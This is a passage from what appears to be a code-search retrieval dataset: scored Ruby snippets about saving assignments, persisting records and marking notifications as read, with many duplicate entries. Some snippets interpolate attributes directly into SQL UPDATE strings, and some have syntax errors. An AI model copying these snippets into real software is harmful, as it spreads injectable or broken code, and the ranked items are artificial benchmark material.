Assignment.includes(:assignment_questions).find_by_id(params[:id])\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.53301835", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.53301835", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.53301835", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.53301835", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "75e830430d3987aca7b089ecc94a86d6", "score": "0.53301835", "text": "def assignments=(value)\n @assignments = value\n end", "title": "" }, { "docid": "1b881670bf39037530e7708cd569f25a", "score": "0.5307952", "text": "def save\n CONNECTION.execute(\"UPDATE partners SET assignment_id = '#{self.assignment_id}', name_worked = '#{self.name_worked}', WHERE id = #{self.id};\")\n end", "title": "" }, { "docid": "b77a510ce5a2f1075d7c445ab5310b2e", "score": "0.52748454", "text": "def set_assignment\n @assignment = Assignment.includes(:lines).find(params[:id])\n end", "title": "" }, { "docid": "7a00b8995f464e3543b80a68126c5cb9", "score": "0.52576643", "text": "def assessment=( a )\n write_attribute( :assessment, a )\n self.new_assmt = a if pub_assmt.nil? && pcp_comments.is_public.empty?\n end", "title": "" }, { "docid": "a6a3b57f14a0d4a27f2697ec1c82cddf", "score": "0.52405983", "text": "def set_assignment\n @assignment = @course.assignments.find(params[:assignment_id])\n end", "title": "" }, { "docid": "df8d4ea36133ecd7e8c13e0642052f7b", "score": "0.52319413", "text": "def save\n self.id = klass.generate_identifier unless persisted? || id\n save_graph = RDF::Graph.new\n fill_save_graph save_graph\n Db.insert_data( save_graph , :graph => klass.object_graph )\n persist!\n end", "title": "" }, { "docid": "1d5084464f1a0b98d69cf9333eb54a0f", "score": "0.5219569", "text": "def assignment_form_save_handler\n exist_assignment = Assignment.find_by(name: @assignment_form.assignment.name)\n assignment_form_params[:assignment][:id] = exist_assignment.id.to_s\n fix_assignment_missing_path\n update_assignment_form(exist_assignment)\n aid = Assignment.find_by(name: @assignment_form.assignment.name).id\n ExpertizaLogger.info \"Assignment created: #{@assignment_form.as_json}\"\n redirect_to edit_assignment_path aid\n undo_link(\"Assignment \\\"#{@assignment_form.assignment.name}\\\" has been created successfully. \")\n end", "title": "" }, { "docid": "6f72bd5d7b8191f66f67af02b52411cb", "score": "0.51798683", "text": "def requires_assignment\n _assign if !@_assigned\n end", "title": "" }, { "docid": "6d6830188e9f8e1dc0f9f14349bc8b72", "score": "0.5178185", "text": "def assign_to(user_id)\n paper_trail.save_with_version\n order_assignments.create!(user_id: user_id)\n end", "title": "" }, { "docid": "85600d570dd2b3f360c25836af2bf544", "score": "0.5176265", "text": "def persist!\n @persisted = true\n end", "title": "" }, { "docid": "3d7cee21e7f9cfef1e5cf8a465d7570a", "score": "0.51675355", "text": "def add_to_database\n Partner.add({\"assignment_id\" => \"#{self.assignment_id}\", \"name_worked\" => \"#{self.name_worked}\"})\n end", "title": "" }, { "docid": "4b38538daf28d5f54e4095d329c70cbb", "score": "0.51475054", "text": "def save(do_eval = false)\n begin\n if @id.nil?\n @id = Cluster.redis.incr SCOPE + ':count'\n self.class.active[@id.to_i] = self\n end\n @strands.each do |strand|\n strand.save\n Cluster.redis.hset LOOKUP, strand.id, @id.to_s\n end\n Cluster.redis.sadd SCOPE + ':' + @id.to_s, @strands.map(&:id)\n evaluate if do_eval\n Cluster.redis.hset TOPICS, @id, @suggested_topic.code unless @suggested_topic.nil?\n rescue Redis::CannotConnectError => e\n Rails.logger.warn 'Failed to save Cluster to Redis, no connection.'\n end\n end", "title": "" }, { "docid": "116493a985faaf03db5efec1f4ea6158", "score": "0.51393044", "text": "def save()\n person_session = PersonSession.new({\n 'date_time_added' => @date_time_added,\n 'reserve' => @reserve.to_s,\n 'person_id' => @person.id,\n 'session_id' => @session.id\n })\n person_session.save()\n end", "title": "" }, { "docid": "c7c1ffff1e1f9c823c5c53fd0275fbf6", "score": "0.51364464", "text": "def save\r\n props = {}\r\n instance_variables.each{|v|\r\n # props[v.to_s[1..-1]] = instance_variable_get(\"#{v}\")\r\n p = v.to_s[1..-1]\r\n props[p] = self.send(p)\r\n }\r\n File.write(STORAGE, YAML.dump(props))\r\n end", "title": "" }, { "docid": "7ab9ffbd6366e3d40083b5c6b21f2c2b", "score": "0.5126741", "text": "def safe_save(dmp:)\n dmp.project = safe_save_project(project: dmp.project)\n dmp.contributors_data_management_plans = dmp.contributors_data_management_plans.map do |cdmp|\n safe_save_contributor_data_management_plan(cdmp: cdmp)\n end\n dmp.datasets = safe_save_datasets(datasets: dmp.datasets)\n dmp.save\n dmp.reload\n end", "title": "" }, { "docid": "01bf1b35e3520982416f998ae3fb3f16", "score": "0.5124071", "text": "def persist\n model.update persistance_data\n end", "title": "" }, { "docid": "bcbedf6c9a5d427f869b44eef0716f78", "score": "0.5123378", "text": "def assignment\n assignment_id.get_object\n end", "title": "" }, { "docid": "69ab64ca6992aa9c52c43d619049e53b", "score": "0.51189107", "text": "def save(*)\n if super\n promotion_rules.each { |p| p.save }\n end\n end", "title": "" }, { "docid": "3542c8ff15b6e747cabb984cdc5c3f42", "score": "0.5113956", "text": "def create_assignment_node\n @assignment.create_node unless @assignment.nil?\n end", "title": "" }, { "docid": "aae7addd11ea98b379e92054f97802c1", "score": "0.51121324", "text": "def save\n CONNECTION.execute(\"UPDATE assignments SET name = '#{self.name}', description = '#{self.description}', github = '#{self.github}', partner_id = #{self.partner_id} WHERE id = #{self.id};\")\n \n return self\n end", "title": "" }, { "docid": "1e3959382b3ce4027e0b986f4c5f39cc", "score": "0.51096934", "text": "def assignment_id=(new_id)\n if allow_editing?\n @assignment_id = ForeignKey.new(id: new_id, class_name: Assignment)\n @assignment_name = assignment.name\n end\n end", "title": "" }, { "docid": "cea7a5333e5c1abb932710614a168f39", "score": "0.5107805", "text": "def save (do_eval = false)\n begin\n if @id.nil?\n @id = Strand.redis.incr SCOPE + ':count'\n self.class.active[@id.to_i] = self\n end\n Strand.redis.sadd SCOPE + ':' + @id.to_s, @members.map(&:typed_id)\n @members.each do |member|\n Strand.redis.hset LOOKUP, member.typed_id, @id.to_s\n end\n evaluate if do_eval\n Strand.redis.hset TOPICS, @id, @topic.code unless @topic.nil?\n Strand.redis.hset STATUS, @id, @good\n rescue Redis::CannotConnectError => e\n Rails.logger.warn 'Failed to save Strand to Redis, no connection.'\n end\n end", "title": "" }, { "docid": "396be50223ba9aa58eb32df5ef3983de", "score": "0.510731", "text": "def persist!\n raise \"Robut::Storage::YamlStore.file must be set\" unless file\n File.open(file, \"w\") do |f|\n f.puts internal.to_yaml\n end\n end", "title": "" }, { "docid": "12c41cace6cd14f46229afbc37b3740c", "score": "0.50987715", "text": "def store(p0, p1) end", "title": "" }, { "docid": "f5b69d23905c32c2b0830a2f82779285", "score": "0.50898635", "text": "def persist(key); end", "title": "" }, { "docid": "f5b69d23905c32c2b0830a2f82779285", "score": "0.50898635", "text": "def persist(key); end", "title": "" }, { "docid": "573655177fceebe3af30d18bbbf7ec4d", "score": "0.5084241", "text": "def create\n AssignmentNotifier.create(@assignment)\n end", "title": "" }, { "docid": "312af0906bca35899cdf1082102ef893", "score": "0.5080946", "text": "def assignments; end", "title": "" }, { "docid": "ea0b734a1a746d5c12e2d3634b1bd0bb", "score": "0.50696814", "text": "def mass_assign(new_attrs = {})\n case self.class.assignment_mode\n when :whitelist\n whitelist_assign(new_attrs)\n when :carefree\n carefree_assign(new_attrs)\n end\n end", "title": "" }, { "docid": "1e4fecfb53a9163389e6aa348e0582de", "score": "0.50667375", "text": "def persistData!\n File.open(getWorkingDir+'/data.host', 'w') do |f|\n f.write(@plataforms.to_yaml)\n end\n end", "title": "" }, { "docid": "bd960527bc14c4659e2d3f0ce187dbea", "score": "0.5063532", "text": "def assign_policy(*args)\n target.target.send(\"assign_policy\",*args)\n end", "title": "" }, { "docid": "33aecb1de70f5f90e85721f6eeaaadb6", "score": "0.506128", "text": "def save\n CONNECTION.execute(\"UPDATE links SET assignment_id = '#{self.assignment_id}', link = '#{self.link}', type = '#{self.type}', WHERE id = #{self.id};\")\n end", "title": "" }, { "docid": "89dadd4ceff5125ddcf3e5b6cf0a1624", "score": "0.5057769", "text": "def assign\n\t\tself.status = :assigned\n\tend", "title": "" }, { "docid": "881e0a08ab02f89b8ddb935888406019", "score": "0.5055305", "text": "def start_assignment(class_assignment)\n @class_assignment = class_assignment\n session[:assignment_id] = @class_assignment.id\n end", "title": "" }, { "docid": "6a1db0c97397d889462f99779ed65ecd", "score": "0.50546896", "text": "def save\n self.class.persistable\n DB[self.class.name] ||= {}\n DB[self.class.name][name] = self\n Maglev.commit_transaction\n end", "title": "" }, { "docid": "843a86c16635f44cb94e7ff9518cdef0", "score": "0.5038546", "text": "def begin_assignment(class_assignment)\n start_assignment(class_assignment)\n ActiveRecord::Base.transaction do\n changed_and_notify_observers(:begin_assignment => @class_assignment)\n begin_sequence(@class_assignment.sequence)\n end\n end", "title": "" }, { "docid": "1816925cff305834837ea14b0e9b4b73", "score": "0.503243", "text": "def persist\n \n end", "title": "" }, { "docid": "8c606d79decf23cd10c17b2bc78afe3f", "score": "0.5029466", "text": "def set_type_of_assignment\n @type_of_assignment = TypeOfAssignment.find(params[:id])\n end", "title": "" }, { "docid": "15498f314200c53add6c39c20ff4dcca", "score": "0.5029365", "text": "def persist\n each {|transition| transition.persist}\n end", "title": "" }, { "docid": "b5edccf5326d6e2ab98357047cbf6cc3", "score": "0.50268936", "text": "def persist!\n raise NilParentError unless parent\n return false if final_parent.frozen?\n\n graph.execute\n\n parent.persist! if\n ancestors.find { |a| a.is_a?(ActiveTriples::List::ListResource) }\n\n reload\n\n @persisted = true\n end", "title": "" }, { "docid": "32cc1e6e0f830434fad45b3a42ef8943", "score": "0.5026163", "text": "def assigment\n @assignment = Assignment.new(params[:assignment])\n @asset = Asset.new(params[:asset])\n\n if @assignment.save\n\n @delivery_from_assignment = Delivery.find(@assignment.delivery)\n\n @delivery_from_assignment.evaluation_criteria.each do |generate_rubres|\n @response_to_the_evaluation = ResponseToTheEvaluation.new\n @response_to_the_evaluation.name = generate_rubres.name\n @response_to_the_evaluation.comment_for_rubre = generate_rubres.description\n @response_to_the_evaluation.assignment_id = @assignment.id\n @response_to_the_evaluation.save\n end\n end\n end", "title": "" }, { "docid": "d0895fdeb5649951cc00b287b079f22b", "score": "0.50251937", "text": "def mass_assign(new_attrs = {})\n case self.class.assignment_mode\n when :whitelist\n whitelist_assign(new_attrs)\n when :carefree\n carefree_assign(new_attrs)\n end\n end", "title": "" }, { "docid": "9d4a32fdb68c4fe0ff9ea36881274db6", "score": "0.50213367", "text": "def save_nodes\n subject.save if subject\n predicate.save if predicate\n object.save if object\n# modifier.save if modifier\n# user.save if user\n# context.save if context\n end", "title": "" }, { "docid": "fefc92688fec32a994c5f5c0224dd77f", "score": "0.50204104", "text": "def store_definition policies\n # Policies may have been defined by other means. If it's not a hash, stop\n return unless policies.is_a? Hash\n\n base = current_base\n policies.each_pair do |widget, conditions|\n policy = base[widget] || {\n :self => true,\n :params => [],\n :models => {},\n :procs => [],\n :widget_params => true\n }\n add_conditions(policy, conditions)\n base[widget] = policy\n end\n end", "title": "" }, { "docid": "cdbc47d20ee94435bd057a33cbf8f958", "score": "0.5016727", "text": "def persist!\n return if klass.nil?\n return unless klass.new.respond_to?(:nickname)\n\n persisted_roles = klass.all.inject({}) {|hash, record| hash[record.name.to_sym] = record; hash}\n\n [global_roles, object_roles.values].flatten.map do |role_name|\n if persisted_roles.delete(role_name).nil?\n klass.create(:name => role_name.to_s, :nickname => nicknames[role_name].to_s)\n end\n end\n\n # if we have persisted roles left we delete them\n persisted_roles.values.map(&:destroy)\n end", "title": "" }, { "docid": "c12cb8880d19b7061aec06262ad57db7", "score": "0.50089294", "text": "def save_amee(values)\n AmeeMemoised.zip(values).each do |prop,val|\n instance_variable_set(\"@#{prop.to_s}\",val)\n end\n end", "title": "" }, { "docid": "37ce05b38ce4f094400b3d983e9132a6", "score": "0.50073653", "text": "def save(instance)\n @pstore.transaction do\n @registry << instance\n @pstore[:registry] = @registry\n end\n end", "title": "" }, { "docid": "6c2aec6b901e17f8a9dcd1872bc8d88d", "score": "0.50040126", "text": "def assign!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 47 )\n\n type = ASSIGN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 373:10: '='\n match( 0x3d )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 47 )\n\n end", "title": "" }, { "docid": "770a65f62a4d39dfc69514c661ebcc5c", "score": "0.49959198", "text": "def add_homework_id_to_assignment(a_id, h_id)\n assignment = Assignment.where(id: a_id)\n assignment.update(homework_id: h_id)\n end", "title": "" }, { "docid": "54b9b8b752cb08da7346f6e6caec644b", "score": "0.49890083", "text": "def can_persist!\n @can_persist = true\n end", "title": "" }, { "docid": "25b3e38ff9030d1df3d38d1cfc6122a6", "score": "0.49803248", "text": "def persist\n each { |transition| transition.persist }\n end", "title": "" }, { "docid": "95effd51d0e2ecf1bebec964d03c1321", "score": "0.49785346", "text": "def set_exceller_assignment\n @exceller_assignment = ExcellerAssignment.find(params[:id])\n end", "title": "" } ]
f6a545aff9b0094a57505d1fa4961cf1
Mark all notification groups as read Mark all notification groups of the current user as read
[ { "docid": "df9715a96096375b74ef5f3fd2767e1b", "score": "0.5988537", "text": "def notification_groups_mark_all_as_read_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: NotificationGroupsApi.notification_groups_mark_all_as_read ...'\n end\n # resource path\n local_var_path = '/notification_groups/mark_all_as_read'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-PhraseApp-OTP'] = opts[:'x_phrase_app_otp'] if !opts[:'x_phrase_app_otp'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Object>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotificationGroupsApi#notification_groups_mark_all_as_read\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n response = ::Phrase::Response.new(data, headers)\n return response, status_code, headers\n end", "title": "" } ]
[ { "docid": "01e634eb5ddecb6446fe1c5a20a04889", "score": "0.7631108", "text": "def mark_notifications_as_read!(user)\n self.notifications.where(read: false, user_id: user.id).update_all(read: true)\n end", "title": "" }, { "docid": "90a33aa68aead5775fb4b38d0ff2cb4f", "score": "0.75232005", "text": "def mark_notification_as_read!\n notification = User.find(@userid).notifications\n @received_msg.each do |notify|\n notification.update(notify['id'], :checked => true);\n end\n end", "title": "" }, { "docid": "77195c9ca27a20833d683d0b895a8ba1", "score": "0.7305678", "text": "def notification_groups_mark_all_as_read(opts = {})\n data, _status_code, _headers = notification_groups_mark_all_as_read_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "29fcddd9f77b5f6ba53689a4c75ac002", "score": "0.7271338", "text": "def mark_all_as_read\n @notifications = Notification.unread.for_user(current_api_v1_user)\n @notifications.update_all(read_at: Time.now) unless @notifications.blank?\n @notifications = Notification.where(recipient_id: current_api_v1_user.id)\n \n render json: @notifications\n end", "title": "" }, { "docid": "526eb667dfaf3480e4568c2706a03e71", "score": "0.7209958", "text": "def mark_notifications_read\n return if params[:notification_id].blank? or !user_signed_in?\n n = Notification.find(params[:notification_id])\n current_subject.mark_as_read n\n end", "title": "" }, { "docid": "96b8174aaf6836512e6d231ed7b32b3c", "score": "0.71136564", "text": "def mark_all_news_as_read\n where(:user_id => User.current_user_id).update_all(:read => 1)\n end", "title": "" }, { "docid": "97b22a5bd86883d40e9e132b202b33d3", "score": "0.7043174", "text": "def mark_as_read\n @notifications = Notification.where(recipient: current_user).unread\n @notifications.update_all(read_at: Time.zone.now)\n render json: {success: true}\n end", "title": "" }, { "docid": "8af13b60a312231539d5ae267ecdd185", "score": "0.69399095", "text": "def mark_as_read\n DeterLab.mark_notifications(current_user_id, [ params[:id] ], [ { isSet: true, tag: Notification::READ } ])\n render text: 'ok'\n end", "title": "" }, { "docid": "446318f0c0dc9212c6abbafe2fe08795", "score": "0.68428254", "text": "def set_to_read\n\t\t#We find all the messages in the current conversation\n\t\t@conversation_messages = PersonalMessage.where(conversation_id: @conversation).all\n\t\t@conversation_messages.each do |message|\n\t\t\t# We mark as read the messages recieved by the current user \n\t\t\tif message.user_id != current_user.id\n\t\t\t\tmessage.update(read: true) unless message.read != false\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "a5112555f17fc085cf82fa4b70296272", "score": "0.67394173", "text": "def mark_all_messages_as_read(options={})\n RecipientsFor::ReaderInfo.where(\n reciveable_type: options[:reciveable].class.name,\n reciveable_id: options[:reciveable].id,\n ).update_all(read: true)\n end", "title": "" }, { "docid": "89fade5ffcdc9e0999fcdfb23e98d545", "score": "0.67244416", "text": "def mark_unread!\n update_is_read_status false\n end", "title": "" }, { "docid": "f94e3fbf5de2d10951bbe82f65cc210c", "score": "0.6717934", "text": "def mark_as_unread()\n update_attribute('read', false)\n end", "title": "" }, { "docid": "b2d751250311ca1544f980e9863897b1", "score": "0.6698578", "text": "def set_user_read_all(user_id, did_read)\n self.messages.each {|m| m.set_user_read(user_id, did_read)}\n end", "title": "" }, { "docid": "23ca45024499830288833edb54a534d8", "score": "0.6649359", "text": "def mark_as_read\n\t\tunread_messages = current_user.received_messages.where(read: false).order('id desc').limit(10)\n\t\tunread_messages.each do |m|\n\t\t\tm.update_attribute(:read, true)\n\t\t\tm.save\n\t\tend\n\t\tredirect_to request.referer\n\tend", "title": "" }, { "docid": "797d5bdd3048481770b0446bf3ad7d8d", "score": "0.66276115", "text": "def read user_id\n messages.unread(user_id).each do |m|\n m.read = true\n m.save\n end\n end", "title": "" }, { "docid": "ac4a07ba261d6831b552b31f78c18e8b", "score": "0.659942", "text": "def mark_as_unread\n update_attributes(is_read: false)\n end", "title": "" }, { "docid": "42946dbcdd6f8cb2cf52e887ac6e1a7c", "score": "0.6558207", "text": "def mark_as_unread\n Notifyer::Notification.all.each do |n|\n n.update(is_read: false)\n end\n redirect_to :back\n end", "title": "" }, { "docid": "8d00df94aca849fdb9106098f5b9c121", "score": "0.6492215", "text": "def notification_groups_mark_as_read(id, opts = {})\n data, _status_code, _headers = notification_groups_mark_as_read_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "5ddc8c560705fc9a60decefde9f2e1a8", "score": "0.64887977", "text": "def mark_as_read\n self.update(read: true)\n end", "title": "" }, { "docid": "d6acacc6d75227f262d21126e1fe67dd", "score": "0.6462056", "text": "def mark_notifications_as_read(options = {})\n boolean_from_response :put, 'notifications', options\n end", "title": "" }, { "docid": "731f3786c35c1eae877d70eb1e2d2894", "score": "0.64539206", "text": "def mark_as_unread\n update_attributes(:is_read => false)\n end", "title": "" }, { "docid": "731f3786c35c1eae877d70eb1e2d2894", "score": "0.64539206", "text": "def mark_as_unread\n update_attributes(:is_read => false)\n end", "title": "" }, { "docid": "d92ecb603e46266347dee69d897da077", "score": "0.6401944", "text": "def mark_read!\n update_is_read_status true\n end", "title": "" }, { "docid": "2e4cb8115be4a9fb511e90d73b6d153a", "score": "0.6373204", "text": "def mark_as_read\n update_attributes(is_read: true)\n end", "title": "" }, { "docid": "13749b9a21e02912f8381f82df1c0e3b", "score": "0.63469636", "text": "def mark_as_read\n if Notification.mark_as_read\n return_message(200, :ok)\n else\n return_message(200, :fail)\n end\n end", "title": "" }, { "docid": "50912e0357a14212da33b0b374ce98aa", "score": "0.63175434", "text": "def mark_all_readed\n doctor.notifications.update_all unreaded: false\n send_json doctor.notifications, true\n end", "title": "" }, { "docid": "678b3dc0d012e0b3ce4c453601483bad", "score": "0.63127595", "text": "def mark_all_entries_as_read_groups(group_id,topic_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :forced_read_state,\n \n ]\n\n # verify existence of params\n raise \"group_id is required\" if group_id.nil?\n raise \"topic_id is required\" if topic_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :group_id => group_id,\n :topic_id => topic_id\n )\n\n # resource path\n path = path_replace(\"/v1/groups/{group_id}/discussion_topics/{topic_id}/read_all\",\n :group_id => group_id,\n :topic_id => topic_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n response\n \n end", "title": "" }, { "docid": "38367494b89c7d14ee571978d5cfccd0", "score": "0.63106525", "text": "def mark_all_read\r\n @channel.mark_messages_read_for current_user\r\n respond_to do |format|\r\n format.html { redirect_to channel_messages_url(@channel), notice: 'Nachrichten als gelesen markiert.' }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "f21ed462036ab200c7d9e2a85d807f0e", "score": "0.63084453", "text": "def mark_as_read\n payload = { \"chat\" => [id] }.to_json\n path = \"/#{api_prefix}/user/#{client.user.id}/rooms/#{room_id}/unreadItems\"\n\n client.post path, payload\n\n true\n end", "title": "" }, { "docid": "3cc4a829e41e8d48652532dce86deb0a", "score": "0.62789935", "text": "def set_read_status\n\t\t\tNotificationReceiver.where(notification_id: params[:id], user_id: current_user.id).update_all(is_read: true)\n\n\t\t\trender json: {\n\t\t\t\tstatus: 0\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "011ce7be996a1a30f1a8322c751c9a83", "score": "0.6258232", "text": "def mark_as_read\n update_attributes(:is_read => true)\n end", "title": "" }, { "docid": "011ce7be996a1a30f1a8322c751c9a83", "score": "0.6258232", "text": "def mark_as_read\n update_attributes(:is_read => true)\n end", "title": "" }, { "docid": "f5d7ea41c78a334258f7f4baf2092f40", "score": "0.6224523", "text": "def mark_as_read\n @client.post('/api/mod/conversations/read', conversationIds: [get_attribute(:id)])\n end", "title": "" }, { "docid": "71737c34f2c7dc6ca250a359bfd70594", "score": "0.6151769", "text": "def mark_as_read!\n update_attributes(read: true)\n end", "title": "" }, { "docid": "f1f4ab61182eedb4c5213a83ac4bd8d8", "score": "0.6137738", "text": "def mark_all_user_notifications_notified(user)\n user.notifications.each do |n|\n n.notified = true\n n.save\n end\n end", "title": "" }, { "docid": "fed42079ff797a0d0e19b96415d9a1d2", "score": "0.61224985", "text": "def mark_all_entries_as_unread_groups(group_id,topic_id,opts={})\n query_param_keys = [\n :forced_read_state\n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"group_id is required\" if group_id.nil?\n raise \"topic_id is required\" if topic_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :group_id => group_id,\n :topic_id => topic_id\n )\n\n # resource path\n path = path_replace(\"/v1/groups/{group_id}/discussion_topics/{topic_id}/read_all\",\n :group_id => group_id,\n :topic_id => topic_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:delete, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:delete, path, query_params, form_params, headers)\n page_params_store(:delete, path)\n response\n \n end", "title": "" }, { "docid": "a17773dfebc0bc58d4a6f239ddc70a59", "score": "0.61054647", "text": "def load_notifications\n # reload user data\n user = User.find current_user.id\n @notifications = user.notifications.order(\"updated_at DESC\")\n\n new_feeds = user.notification_readers.select {|feed| !feed.isRead?}\n new_feeds.each do |feed|\n feed.read_at = Time.zone.now\n feed.save!\n end\n end", "title": "" }, { "docid": "d2a73a15bb0acb0f5a8bb57c51d26f62", "score": "0.60980797", "text": "def mark_as_read(options = {})\n default_options = {}\n add_mailbox_condition!(default_options, @type)\n return update_mail(\"mail_items.read = true\", default_options, options)\n end", "title": "" }, { "docid": "e15c22d95ac80ba51807dc64979b3cc0", "score": "0.60851055", "text": "def mark_notification_as_read(notification_id)\n request(:post, \"/api/notifications/mark_as_read/#{notification_id}/\")\n end", "title": "" }, { "docid": "03aa65ef8500e14ff05ee996512ad07c", "score": "0.60349005", "text": "def mark_as_read_notification(notification_id)\n post(\"notifications/#{notification_id}/markAsRead\")\n end", "title": "" }, { "docid": "5d8a0925d5cc9454e097be8016fb20da", "score": "0.6026549", "text": "def reset_unread_notification_count\n post('notifications/markAsRead')\n end", "title": "" }, { "docid": "a30423b1097f457e594d990c2f704305", "score": "0.60180044", "text": "def set_read_groups(groups, eligible_groups)\n set_entities(:read, :group, groups, eligible_groups)\n end", "title": "" }, { "docid": "44cbb133ba75cef5336b41592ac5f1cc", "score": "0.6016407", "text": "def read_notifications\n # Update post notification\n post_notification = @message.sender\n .notifications_unread\n .where(\"origin_type = ? AND origin_id = ?\", 'Post', @post.id)\n .first\n post_notification.update_attributes(read: true) unless post_notification.nil?\n\n # Update post's messages notifications\n @post.messages.each do |message|\n message_notification = @message.sender\n .notifications_unread\n .where(\"origin_type = ? AND origin_id = ?\", 'Message', message.id)\n .first\n message_notification.update_attributes(read: true) unless message_notification.nil?\n end\n end", "title": "" }, { "docid": "cde648d86e28ff4c567c8f568c0d0648", "score": "0.60083556", "text": "def mark_as_read()\n update_attribute('read', true)\n end", "title": "" }, { "docid": "28f93da74fa6aaa09ed55608c34df100", "score": "0.60059756", "text": "def mark_all_posts usr\n return false if usr.blank?\n @conv.posts.each do |post|\n post.mark_as_read! for: usr if post\n end\n end", "title": "" }, { "docid": "989cad89990bd13bc99ccb8c308eaa0b", "score": "0.59661615", "text": "def mark_read_messages(conversation)\n time = Time.current\n conversation = Conversation.find(conversation) if conversation.is_a?(Integer)\n conversation_members.where(conversation_id: conversation).update_all(last_seen: time)\n Rails.cache.delete(conversation.get_unread_cache_key_for(id))\n Rails.cache.delete(\"user-unread_messages_count-#{id}\")\n PubSub::Publisher.new.publish_for(conversation.user_participants.where.not(id: id), 'read_messages', {id: conversation.id, seen_at: time.to_i, user_id: id}, {foreground: true})\n end", "title": "" }, { "docid": "ff69959235d7e75f513fc4d5beaf384d", "score": "0.59343606", "text": "def mark_as_read(item)\n receipts_for_item(item).update_all(read: true)\n end", "title": "" }, { "docid": "4cd034d24c2a28481b7ff02559c55ce0", "score": "0.59184676", "text": "def read_groups=(groups)\n set_read_groups(groups, read_groups)\n end", "title": "" }, { "docid": "f9dcfc05ab39c52954e7224bcd1c9f2c", "score": "0.5911188", "text": "def show\n @notifications = Notification.where(user: current_user).where(notification_obeject_id: params[:id]).where(read: false)\n @notifications.each do |note|\n note.read = true\n note.save\n end\n end", "title": "" }, { "docid": "ff0dcfaba458637b3fd652e8ab703ae0", "score": "0.5893361", "text": "def mark_repo_notifications_as_read(repo, options = {})\n boolean_from_response :put, \"#{Repository.path repo}/notifications\", options\n end", "title": "" }, { "docid": "3717fe32af5e0076f457a6006e6fa0cc", "score": "0.58604324", "text": "def add_read_group\n return if expired?\n\n unless media_object.read_groups.include?(self.token)\n media_object.read_groups += [self.token]\n media_object.save!\n end\n end", "title": "" }, { "docid": "e12e3d4d344447da1794db45868c807a", "score": "0.5832743", "text": "def unread\n all(UNREAD)\n end", "title": "" }, { "docid": "69fed6191ced4c335157cfc95cbe4687", "score": "0.5806275", "text": "def mark_as_read(obj)\n case obj\n when Mailboxer::Receipt\n obj.mark_as_read if obj.receiver == self\n when Mailboxer::Message, Mailboxer::Notification\n obj.mark_as_read(self)\n when Mailboxer::Conversation\n obj.mark_as_read(self)\n when Array\n obj.map{ |sub_obj| mark_as_read(sub_obj) }\n end\n end", "title": "" }, { "docid": "bf55825692e96f0239fda334eba34ddf", "score": "0.57914823", "text": "def mark_as_read_by_updater\n mark_as_read! for: updater\n end", "title": "" }, { "docid": "418f3c7fe4a2d9b8f32fcd6953cfb900", "score": "0.57900816", "text": "def unread\n @notifications = Notification.where(user_id: current_user.uid).where(is_read: false).page(params[:page]).order(created_at: :desc)\n end", "title": "" }, { "docid": "adfa44479ee8a79d7ee2cd412301975a", "score": "0.57765114", "text": "def mark_as_read\n return @mark_as_read\n end", "title": "" }, { "docid": "ce19382f2cc7d8871d6159079e0a19ea", "score": "0.573398", "text": "def mark_as_unread\n @client.post('/api/mod/conversations/unread', conversationIds: [get_attribute(:id)])\n end", "title": "" }, { "docid": "c0839db3fc1d64675ef4b4e6538a9f46", "score": "0.56856966", "text": "def mark_as_read_by_creator\n mark_as_read! for: creator\n end", "title": "" }, { "docid": "1a42338fed8f961fb6f31c0d05beae9e", "score": "0.5680894", "text": "def users_that_can_read_group(users, group)\n DeclarativePolicy.subject_scope do\n users.select { |u| allowed?(u, :read_group, group) }\n end\n end", "title": "" }, { "docid": "b584d4253e6834cfd35fc7cd8d0a11fa", "score": "0.5649523", "text": "def set_notifications\n @notifications = current_user.my_notifications\n end", "title": "" }, { "docid": "3a3eda911be2c1abecf7b38e865da27c", "score": "0.5634594", "text": "def mark_as_read!\n self.read_at = Time.now\n save!\n end", "title": "" }, { "docid": 